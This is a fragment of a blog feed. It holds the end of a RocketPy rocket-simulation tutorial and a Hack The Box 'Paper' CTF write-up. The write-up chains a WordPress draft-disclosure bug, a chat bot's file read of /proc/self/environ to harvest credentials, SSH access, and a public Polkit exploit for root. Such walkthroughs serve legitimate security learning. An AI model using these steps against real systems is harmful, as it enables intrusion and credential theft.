</span></span><span style="display:flex;"><span>    elevation <span style="color:#f92672">=</span> <span style="color:#ae81ff">12</span>, <span style="color:#75715e"># meters</span>
</span></span><span style="display:flex;"><span>    date <span style="color:#f92672">=</span> (
</span></span><span style="display:flex;"><span>        tomorrow<span style="color:#f92672">.</span>year,
</span></span><span style="display:flex;"><span>        tomorrow<span style="color:#f92672">.</span>month,
</span></span><span style="display:flex;"><span>        tomorrow<span style="color:#f92672">.</span>day,
</span></span><span style="display:flex;"><span>        tomorrow<span style="color:#f92672">.</span>hour
</span></span><span style="display:flex;"><span>    )
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Env<span style="color:#f92672">.</span>setAtmosphericModel(type<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;Forecast&#39;</span>, file<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;GFS&#39;</span>)
</span></span></code></pre></div><p>It must be simple for users with previous Python experiences to realize that this code is merely creating an object. The data types are also plain floats, and variable names are intelligible.</p>
<p>Next up, since we need a rocket rather than a drill, we must choose a fitting rocket engine model. RocketPy only supports <em>solid rocket motors</em>, not complicated liquid rocket engines. Nevertheless, the RocketPy team has already procured some interesting rocket engine data in <a href="https://github.com/RocketPy-Team/RocketPy/tree/master/data/motors">the module&rsquo;s Git repo</a>.</p>
<p>For experimenting purpose, this time we are going to mess with the <a href="https://www.thrustcurve.org/motors/Cesaroni/6118M3100-P/">Cesaroni M3100</a> engine. First, we need to get the engine&rsquo;s data, by running the following command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>!wget https://raw.githubusercontent.com/Projeto-Jupiter/RocketPy/master/data/motors/Cesaroni_M3100.eng
</span></span></code></pre></div><p>Or you can directly download that model here: <a href='/data/rocketpy/Cesaroni_M3100.eng' download>Cesaroni_M3100.eng</a>.</p>
<p>The next step is to create a complete engine object.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>Pro75M3100 <span style="color:#f92672">=</span> SolidMotor(
</span></span><span style="display:flex;"><span>    thrustSource<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Cesaroni_M3100.eng&#34;</span>,
</span></span><span style="display:flex;"><span>    burnOut<span style="color:#f92672">=</span><span style="color:#ae81ff">3.9</span>,
</span></span><span style="display:flex;"><span>    grainNumber<span style="color:#f92672">=</span><span style="color:#ae81ff">5</span>,
</span></span><span style="display:flex;"><span>    grainSeparation<span style="color:#f92672">=</span><span style="color:#ae81ff">5</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1000</span>,
</span></span><span style="display:flex;"><span>    grainDensity<span style="color:#f92672">=</span><span style="color:#ae81ff">1815</span>,
</span></span><span style="display:flex;"><span>    grainOuterRadius<span style="color:#f92672">=</span><span style="color:#ae81ff">33</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1000</span>,
</span></span><span style="display:flex;"><span>    grainInitialInnerRadius<span style="color:#f92672">=</span><span style="color:#ae81ff">15</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1000</span>,
</span></span><span style="display:flex;"><span>    grainInitialHeight<span style="color:#f92672">=</span><span style="color:#ae81ff">120</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1000</span>,
</span></span><span style="display:flex;"><span>    nozzleRadius<span style="color:#f92672">=</span><span style="color:#ae81ff">33</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1000</span>,
</span></span><span style="display:flex;"><span>    throatRadius<span style="color:#f92672">=</span><span style="color:#ae81ff">11</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1000</span>,
</span></span><span style="display:flex;"><span>    interpolationMethod<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;linear&#39;</span>
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><p>As such, in only half a second we have successfully simulated an engine more completed than BE-4. If you are curious about the engine&rsquo;s specs, you can use the <code>.info()</code> method like this:

  <img src="/img/rocketpy/3100info.webp#center" alt="">

</p>
<p>From rocket engine to a full-fledged rocket in RocketPy is a step as small as Armstrong&rsquo;s one. For example, if we name our rocket <em>calisto</em>, our rocket object will somewhat resembles this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>calisto <span style="color:#f92672">=</span> Rocket(
</span></span><span style="display:flex;"><span>    motor<span style="color:#f92672">=</span>Pro75M3100,
</span></span><span style="display:flex;"><span>    radius<span style="color:#f92672">=</span><span style="color:#ae81ff">127</span><span style="color:#f92672">/</span><span style="color:#ae81ff">2000</span>,
</span></span><span style="display:flex;"><span>    mass<span style="color:#f92672">=</span><span style="color:#ae81ff">19.197</span><span style="color:#f92672">-</span><span style="color:#ae81ff">2.956</span>,
</span></span><span style="display:flex;"><span>    inertiaI<span style="color:#f92672">=</span><span style="color:#ae81ff">6.60</span>,
</span></span><span style="display:flex;"><span>    inertiaZ<span style="color:#f92672">=</span><span style="color:#ae81ff">0.0351</span>,
</span></span><span style="display:flex;"><span>    distanceRocketNozzle<span style="color:#f92672">=-</span><span style="color:#ae81ff">1.255</span>,
</span></span><span style="display:flex;"><span>    distanceRocketPropellant<span style="color:#f92672">=-</span><span style="color:#ae81ff">0.85704</span>,
</span></span><span style="display:flex;"><span>    powerOffDrag<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;powerOffDragCurve.csv&#39;</span>,
</span></span><span style="display:flex;"><span>    powerOnDrag<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;powerOnDragCurve.csv&#39;</span>
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><p>At this point, your program will protest because of lacked csv data files. You can get them using this command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>!wget https://raw.githubusercontent.com/Projeto-Jupiter/RocketPy/master/data/calisto/powerOffDragCurve.csv https://raw.githubusercontent.com/Projeto-Jupiter/RocketPy/master/data/calisto/powerOnDragCurve.csv
</span></span></code></pre></div><p>Or once again, directly download them here: <a href='/data/rocketpy/powerOffDragCurve.csv' download>powerOffDragCurve.csv</a>, <a href='/data/rocketpy/powerOnDragCurve.csv' download>powerOnDragCurve.csv</a>.</p>
<p>The next few steps will be similar to what you have always done while playing Kerbal Space Program, starting with rail buttons:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>calisto<span style="color:#f92672">.</span>setRailButtons([<span style="color:#ae81ff">0.2</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">0.5</span>])
</span></span></code></pre></div><p>Next is the nose cone:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>NoseCone <span style="color:#f92672">=</span> calisto<span style="color:#f92672">.</span>addNose(length<span style="color:#f92672">=</span><span style="color:#ae81ff">0.55829</span>, kind<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;vonKarman&#34;</span>, distanceToCM<span style="color:#f92672">=</span><span style="color:#ae81ff">0.71971</span>)
</span></span></code></pre></div><p>Then the fins:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>FinSet <span style="color:#f92672">=</span> calisto<span style="color:#f92672">.</span>addFins(<span style="color:#ae81ff">4</span>, span<span style="color:#f92672">=</span><span style="color:#ae81ff">0.100</span>, rootChord<span style="color:#f92672">=</span><span style="color:#ae81ff">0.120</span>, tipChord<span style="color:#f92672">=</span><span style="color:#ae81ff">0.040</span>, distanceToCM<span style="color:#f92672">=-</span><span style="color:#ae81ff">1.04956</span>)
</span></span></code></pre></div><p>And finally, the tail:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>Tail <span style="color:#f92672">=</span> calisto<span style="color:#f92672">.</span>addTail(topRadius<span style="color:#f92672">=</span><span style="color:#ae81ff">0.0635</span>, bottomRadius<span style="color:#f92672">=</span><span style="color:#ae81ff">0.0435</span>, length<span style="color:#f92672">=</span><span style="color:#ae81ff">0.060</span>, distanceToCM<span style="color:#f92672">=-</span><span style="color:#ae81ff">1.194656</span>)
</span></span></code></pre></div><p>The parts for a successful launch has been assembled&hellip; I mean, an ICBM launch.</p>
<p>To prevent our simulation from descending into a war simulation, a usually forgotten component in KSP - parachutes - will need to be added.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e"># Adding parachutes to rocket </span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">drogueTrigger</span>(p, y):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">True</span> <span style="color:#66d9ef">if</span> y[<span style="color:#ae81ff">5</span>] <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span> <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">False</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">mainTrigger</span>(p, y):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">True</span> <span style="color:#66d9ef">if</span> y[<span style="color:#ae81ff">5</span>] <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">and</span> y[<span style="color:#ae81ff">2</span>] <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">800</span> <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">False</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Main <span style="color:#f92672">=</span> calisto<span style="color:#f92672">.</span>addParachute(<span style="color:#e6db74">&#39;Main&#39;</span>, CdS<span style="color:#f92672">=</span><span style="color:#ae81ff">10.0</span>, trigger<span style="color:#f92672">=</span>mainTrigger, samplingRate<span style="color:#f92672">=</span><span style="color:#ae81ff">105</span>, lag<span style="color:#f92672">=</span><span style="color:#ae81ff">1.5</span>, noise<span style="color:#f92672">=</span>(<span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">8.3</span>, <span style="color:#ae81ff">0.5</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Drogue <span style="color:#f92672">=</span> calisto<span style="color:#f92672">.</span>addParachute(<span style="color:#e6db74">&#39;Drogue&#39;</span>, CdS<span style="color:#f92672">=</span><span style="color:#ae81ff">1.0</span>, trigger<span style="color:#f92672">=</span>drogueTrigger, samplingRate<span style="color:#f92672">=</span><span style="color:#ae81ff">105</span>, lag<span style="color:#f92672">=</span><span style="color:#ae81ff">1.5</span>, noise<span style="color:#f92672">=</span>(<span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">8.3</span>, <span style="color:#ae81ff">0.5</span>))
</span></span></code></pre></div><p>At last, our ship is ready to be rolled out from the VAB.</p>
<h3 id="4-simulation">4. Simulation</h3>
<p>Our environment and rocket is ready. No need to constantly push schedules back like NASA, we can immediately take off.</p>
<p>Relatively simple, as when creating our rocket, to simulate a flight, we also need an object.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>TestFlight <span style="color:#f92672">=</span> Flight(rocket<span style="color:#f92672">=</span>calisto, environment<span style="color:#f92672">=</span>Env, inclination<span style="color:#f92672">=</span><span style="color:#ae81ff">85</span>, heading<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>)
</span></span></code></pre></div><p>If your above command didn&rsquo;t produce errors, then your simulated launch has landed. To get data on that simulation, once again we can use the <code>.info()</code> method:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>TestFlight<span style="color:#f92672">.</span>info()
</span></span></code></pre></div><p>Lots of information will jump out, for instance:</p>
<pre tabindex="0"><code>Surface Wind Conditions

Frontal Surface Wind Speed: -0.57 m/s
Lateral Surface Wind Speed: -1.38 m/s


Rail Departure State

Rail Departure Time: 0.233 s
Rail Departure Velocity: 34.300 m/s
Rail Departure Static Margin: 2.154 c
Rail Departure Angle of Attack: 2.495°
Rail Departure Thrust-Weight Ratio: 17.509
Rail Departure Reynolds Number: 2.654e+05


BurnOut State

BurnOut time: 2.000 s
Altitude at burnOut: 335.521 m (AGL)
Rocket velocity at burnOut: 313.776 m/s
Freestream velocity at burnOut: 313.916 m/s
Mach Number at burnOut: 0.900
Kinetic energy at burnOut: 7.995e+05 J


Apogee

Apogee Altitude: 3328.738 m (ASL) | 3302.197 m (AGL)
Apogee Time: 24.890 s
Apogee Freestream Speed: 22.460 m/s


Events

Drogue Ejection Triggered at: 24.895 s
Drogue Parachute Inflated at: 26.395 s
Drogue Parachute Inflated with Freestream Speed of: 26.660 m/s
Drogue Parachute Inflated at Height of: 3291.269 m (AGL)
Main Ejection Triggered at: 165.171 s
Main Parachute Inflated at: 166.671 s
Main Parachute Inflated with Freestream Speed of: 17.237 m/s
Main Parachute Inflated at Height of: 747.508 m (AGL)


Impact

X Impact: 100.916 m
Y Impact: -250.161 m
Time of Impact: 305.258 s
Velocity at Impact: -5.287 m/s


Maximum Values

Maximum Speed: 314.984 m/s at 1.93 s
Maximum Mach Number: 0.903 Mach at 1.93 s
Maximum Reynolds Number: 2.394e+06 at 1.92 s
Maximum Dynamic Pressure: 5.523e+04 Pa at 1.92 s
Maximum Acceleration: 192.131 m/s² at 0.82 s
Maximum Gs: 19.592 g at 0.82 s
Maximum Upper Rail Button Normal Force: 0.612 N
Maximum Upper Rail Button Shear Force: 0.219 N
Maximum Lower Rail Button Normal Force: 0.219 N
Maximum Lower Rail Button Shear Force: 0.219 N
</code></pre><p>Finally, if you want to have detailed stats with coherent graphs, you can use the <code>.allInfo()</code> method:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>TestFlight<span style="color:#f92672">.</span>allInfo()
</span></span></code></pre></div><p>As you can see, if there&rsquo;re 3 simplest things in this world, then one of them must be running a RocketPy simulation.</p>
<h2 id="iii-application">III. Application</h2>
<p>Because RocketPy does not support liquid engines, this handy and friendly module is mostly intended to be used for <a href="https://en.wikipedia.org/wiki/High-power_rocketry">high-power rocketry</a>. With all of that usability and configurability, RocketPy will definitely prove itself useful in interesting rocket launch simulations.</p>
<h2 id="sources">Sources</h2>
<ol>
<li><a href="https://github.com/Projeto-Jupiter/RocketPy">RocketPy Github</a></li>
<li><a href="https://docs.rocketpy.org/en/latest/index.html">RocketPy Documentation</a></li>
<li><a href="https://colab.research.google.com/github/giovaniceotto/rocketpy/blob/master/docs/notebooks/getting_started_colab.ipynb">RocketPy Colab notebook preview</a></li>
<li><a href="https://www.thrustcurve.org/motors/Cesaroni/6118M3100-P/">Cesaroni M3100 Engine</a></li>
<li><a href="https://en.wikipedia.org/wiki/High-power_rocketry">High-Power Rocketry</a></li>
</ol>
]]></content:encoded>
    </item>
    <item>
      <title>Hack The Box - Paper</title>
      <link>https://www.akihakune.com/blog/paper/</link>
      <pubDate>Tue, 21 Jun 2022 10:38:56 +0700</pubDate>
      <guid>https://www.akihakune.com/blog/paper/</guid>
      <description>Utilize multiple CVEs and a vulnerable bot to get root on a company&amp;#39;s server</description>
      <content:encoded><![CDATA[<h2 id="overview">Overview</h2>
<p>Welcome to <strong>Paper</strong> machine from <span style="color: #9FEF00;"><strong>Hack The Box</strong></span>!</p>
<p><em><strong>Spoilers</strong></em>: <em><span style="font-size: 90%">In this machine, we will conduct some reconnaissance on a default CentOS HTTP test page, to reveal a hidden Wordpress blog behind a subdomain. A vulnerability in that Wordpress version allowed us to see the site's draft posts, led us to a hidden Rocketchat app. After having registered and entered the Rocketchat session, we found a bot which ultimately gave us a glimpse on the credentials in the machine's environment variables. Using that credentials, we got into SSH, eventually found a Polkit vulnerability and escalated to root.</span></em></p>
<h2 id="i-initial-reconnaissance">I. Initial Reconnaissance</h2>
<h3 id="1-port-scan">1. Port scan</h3>
<p><span style="color: #696969;">tl;dr: Nothing out of ordinary</span>
<br/>
As per usual, we start with a port scan:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Nmap 7.92 scan initiated Wed Jun 15 04:58:52 2022 as: nmap -p- -sC -sV -oN nmap.txt 10.10.11.143</span>
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 10.10.11.143
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.16s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">997</span> closed tcp ports <span style="color:#f92672">(</span>reset<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>PORT    STATE SERVICE  VERSION
</span></span><span style="display:flex;"><span>22/tcp  open  ssh      OpenSSH 8.0 <span style="color:#f92672">(</span>protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ssh-hostkey: 
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">2048</span> 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 <span style="color:#f92672">(</span>RSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">256</span> 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 <span style="color:#f92672">(</span>ECDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_  <span style="color:#ae81ff">256</span> 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 <span style="color:#f92672">(</span>ED25519<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>80/tcp  open  http     Apache httpd 2.4.37 <span style="color:#f92672">((</span>centos<span style="color:#f92672">)</span> OpenSSL/1.1.1k mod_fcgid/2.3.9<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_http-title: HTTP Server Test Page powered by CentOS
</span></span><span style="display:flex;"><span>|_http-generator: HTML Tidy <span style="color:#66d9ef">for</span> HTML5 <span style="color:#66d9ef">for</span> Linux version 5.7.28
</span></span><span style="display:flex;"><span>| http-methods: 
</span></span><span style="display:flex;"><span>|_  Potentially risky methods: TRACE
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.37 <span style="color:#f92672">(</span>centos<span style="color:#f92672">)</span> OpenSSL/1.1.1k mod_fcgid/2.3.9
</span></span><span style="display:flex;"><span>443/tcp open  ssl/http Apache httpd 2.4.37 <span style="color:#f92672">((</span>centos<span style="color:#f92672">)</span> OpenSSL/1.1.1k mod_fcgid/2.3.9<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_http-generator: HTML Tidy <span style="color:#66d9ef">for</span> HTML5 <span style="color:#66d9ef">for</span> Linux version 5.7.28
</span></span><span style="display:flex;"><span>| http-methods: 
</span></span><span style="display:flex;"><span>|_  Potentially risky methods: TRACE
</span></span><span style="display:flex;"><span>|_http-title: HTTP Server Test Page powered by CentOS
</span></span><span style="display:flex;"><span>| ssl-cert: Subject: commonName<span style="color:#f92672">=</span>localhost.localdomain/organizationName<span style="color:#f92672">=</span>Unspecified/countryName<span style="color:#f92672">=</span>US
</span></span><span style="display:flex;"><span>| Subject Alternative Name: DNS:localhost.localdomain
</span></span><span style="display:flex;"><span>| Not valid before: 2021-07-03T08:52:34
</span></span><span style="display:flex;"><span>|_Not valid after:  2022-07-08T10:32:34
</span></span><span style="display:flex;"><span>| tls-alpn: 
</span></span><span style="display:flex;"><span>|_  http/1.1
</span></span><span style="display:flex;"><span>|_ssl-date: TLS randomness does not represent time
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.37 <span style="color:#f92672">(</span>centos<span style="color:#f92672">)</span> OpenSSL/1.1.1k mod_fcgid/2.3.9
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Nmap done at Wed Jun 15 04:59:20 2022 -- 1 IP address (1 host up) scanned in 27.89 seconds</span>
</span></span></code></pre></div><p>Nothing seemed out of place. There&rsquo;s a web service on port 80, and port 443 was just its HTTPS version, nothing different. Port 22 was running the most up-to-date version of <strong>OpenSSH</strong>. Overall, seems like our only attack vector lied in that web application.</p>
<h3 id="2-examining-the-web-page">2. Examining the web page</h3>
<p><span style="color: #696969;">tl;dr: Found out a subdomain</span>
<br/>
Upon opening it in a web browser, we&rsquo;re greeted with something like this:

  <figure>
    <img src="/img/paper/port-80.webp#center" alt="default centos http test page">
    <figcaption>Default CentOS HTTP test page</figcaption>
  </figure>

</p>
<p>A completely unmodified, invulnerable, CentOS HTTP test page, which rose a question of whether its source code was hiding anything abnormal. In an attempt to find any unusualness, I came across an unexpected clue.</p>
<p>
  <img src="/img/paper/initial_request.webp#center" alt="a burp suite request to root web path">

</p>
<p>This was a request intercepted by Burp Suite. Taking a closer look, we found the <code>X-Backend-Server</code> header in that response contained something quite novel: definitely a new attack vector. Weirdly enough, there should had been a hint to this subdomain somewhere in Nmap&rsquo;s scan result, but in reality it was nowhere to be found - why?</p>
<p>Anyway, first off, this subdomain need to be added to our <code>/etc/hosts</code> file. The file should now look somewhat like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>127.0.0.1	localhost
</span></span><span style="display:flex;"><span>127.0.1.1	kali
</span></span><span style="display:flex;"><span>10.10.11.143	office.paper
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># The following lines are desirable for IPv6 capable hosts</span>
</span></span><span style="display:flex;"><span>::1     localhost ip6-localhost ip6-loopback
</span></span><span style="display:flex;"><span>ff02::1 ip6-allnodes
</span></span><span style="display:flex;"><span>ff02::2 ip6-allrouters
</span></span></code></pre></div><h3 id="3-checking-the-subdomain-page">3. Checking the subdomain page</h3>
<p><span style="color: #696969;">tl;dr: A vulnerable version of <strong>Wordpress</strong> led to another subdomain</span>
<br/>
Opening it in a web browser, we found a typical Wordpress site:

  <figure>
    <img src="/img/paper/office_paper_page.webp#center" alt="office.paper as opened in web browser">
    <figcaption><code>office.paper</code> in a web browser</figcaption>
  </figure>

</p>
<p>This speculation was confirmed by this line at the very bottom:

  <figure>
    <img src="/img/paper/made_by_wordpress.webp#center" alt="Powered by Wordpress footer">
    <figcaption>Made by Wordpress confirmation in footer</figcaption>
  </figure>

</p>
<p>This subdomain seemed to housed a Wordpress blog site. We can see a fictional tragic character development here:

  <img src="/img/paper/tragic_character_developments.webp#center" alt="a sad character development in blog posts">

</p>
<p>That&rsquo;s a bonus point for this machine&rsquo;s realism. Looking around the posts, we found a rather valuable comment:

  <img src="/img/paper/blog_comment.webp#center" alt="a comment mentioned about secret content in draft posts">

</p>
<p>As a secret that may be useful was hidden in draft posts, our only reasonable next step was to attack this web page.</p>
<p>A quick <strong>wpscan</strong> revealed a neat vulnerability.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> WordPress version 5.2.3 identified <span style="color:#f92672">(</span>Insecure, released on 2019-09-05<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span> | Found By: Rss Generator <span style="color:#f92672">(</span>Passive Detection<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> |  - http://office.paper/index.php/feed/, &lt;generator&gt;https://wordpress.org/?v<span style="color:#f92672">=</span>5.2.3&lt;/generator&gt;
</span></span><span style="display:flex;"><span> |  - http://office.paper/index.php/comments/feed/, &lt;generator&gt;https://wordpress.org/?v<span style="color:#f92672">=</span>5.2.3&lt;/generator&gt;
</span></span></code></pre></div><p>This unupdated version of Wordpress contained a vulnerability that would be of use, whose details can be found here: <a href="https://vulners.com/zdt/1337DAY-ID-33546">https://vulners.com/zdt/1337DAY-ID-33546</a>.</p>
<p>In short, it offered exactly what we needed - unauthenticated view of draft posts. Adding <code>?static=1</code> after the URL and that was all it took to get all hidden posts.

  <figure>
    <img src="/img/paper/wp-draft-vuln.webp#center" alt="Unauthenticated posts view">
    <figcaption>Unauthenticated posts view</figcaption>
  </figure>

</p>
<p>Another hidden subdomain came into sight. Accordingly, we modified our <code>/etc/hosts</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>10.10.11.143	office.paper chat.office.paper
</span></span></code></pre></div><h2 id="ii-user-flag">II. User Flag</h2>
<h3 id="1-discovering-rocket-chat-instance">1. Discovering Rocket Chat instance</h3>
<p>Going to <code>http://chat.office.paper</code>, we found a login page.

  <figure>
    <img src="/img/paper/rocket_chat.webp#center" alt="Rocket Chat login form">
    <figcaption>rocket.chat login form</figcaption>
  </figure>

</p>
<p>For those who don&rsquo;t know, basically <strong>Rocket Chat</strong> resembles <a href="https://discord.com/">Discord</a> to a certain degree, except that it&rsquo;s open source and can be self-hosted.</p>
<p>Head over to the register form we got earlier, simply register an account (made up credentials were accepted) and log in.

  <figure>
    <img src="/img/paper/register_form.webp#center" alt="Rocket Chat register form">
    <figcaption>Rocket Chat register form</figcaption>
  </figure>

</p>
<p>For those who have used Discord or IRC, you can find this interface a bit familiar.

  <figure>
    <img src="/img/paper/rocketchat_interface.webp#center" alt="Rocket Chat blank interface">
    <figcaption>Rocket Chat blank interface</figcaption>
  </figure>

</p>
<h3 id="2-toying-with-the-bot">2. Toying with the bot</h3>
<p><span style="color: #696969;">tl;dr: Chat bot</span>
<br/>
Lurking around the chat without any permission <em>(which always brings a sense of illegal, even when it was just a ctf challenge)</em>, we found nothing noticeable but this bot:

  <img src="/img/paper/bot_help.webp#center" alt="Rocket Chat bot">

</p>
<p>The help message pretty much summarized all the functionalities this bot served. To our security eyes, only the third one matter: that file read command.

  <img src="/img/paper/bot_cat_feature.webp#center" alt="Test file read function on Rocket Chat bot">

</p>
<p>We can reasonably deduce that it simply print out anything that was fed in the <code>cat</code> command. I tried to inject other OS commands in, but it didn&rsquo;t work.</p>
<p>To this point, we&rsquo;d had file read permission. Which file can we read to go further into this machine?</p>
<p>None other than files in the <code>/proc</code> directory, and in this particular case, environment variables seemed to be the answer.</p>
<p>
  <img src="/img/paper/bot_check_env_variables.webp#center" alt="Read environment variables in /proc/self/environ from Rocket Chat bot">

</p>
<p>That command yielded quite a surprise - some credentials were hidden inside environment variables:

  <img src="/img/paper/bot_env_variable_response.webp#center" alt="Environment variables printed by Rocket Chat bot">

</p>
<p>Wondering what purpose they are used for, I tried them against the Rocket Chat login form.

  <figure>
    <img src="/img/paper/rocketchat_wrong_password.webp#center" alt="Rocket Chat login failed with newly gained credentials">
    <figcaption>Rocket Chat didn&rsquo;t accept those credentials</figcaption>
  </figure>

</p>
<p>But the credentials were deemed incorrect. Where else can they be used? Maybe, on the SSH?

  <img src="/img/paper/ssh_login.webp#center" alt="Successful SSH login attempt">

</p>
<p>To no one surprise, those credentials got me a stable SSH connection. You can find the user flag right off the bat in that user&rsquo;s home directory.

  <img src="/img/paper/user_flag.webp#center" alt="User flag in home directory">

</p>
<h2 id="iii-root-flag">III. Root Flag</h2>
<p>Lazy as I am, I let Linpeas do all the heavy lifting and sweetly riped this fruit:

  <img src="/img/paper/linpeas_result.webp#center" alt="Linpeas running result">

</p>
<p>It was trivial to find exploits for this infamous CVE on Github. In my particular case, since the machine already had <code>Python 3.6</code>, I went with this exploit script:
<div style="text-align: center;"><div class="github-card" data-github="Almorabea/Polkit-exploit" data-width="400" data-height="150" data-theme="default"></div>
<script src="//cdn.jsdelivr.net/github-cards/latest/widget.js"></script></div></p>
<p>Merely running the script would give you full root-level control:
<video class="video-shortcode" preload="auto" controls>
    <source src="/img/paper/privesc.mp4" type="video/mp4">
    There should have been a video here but your browser does not seem
    to support it.
</video></p>
<h2 id="iv-conclusion">IV. Conclusion</h2>
<p>And that&rsquo;s about it - all involved around outdated softwares and a vulnerable bot. Hope you have enjoyed this machine and learned things along the way!</p>
]]></content:encoded>
    </item>
    <item>
      <title>An Introduction to Android Pentesting</title>
      <link>https://www.akihakune.com/blog/start-with-android-pentest/</link>
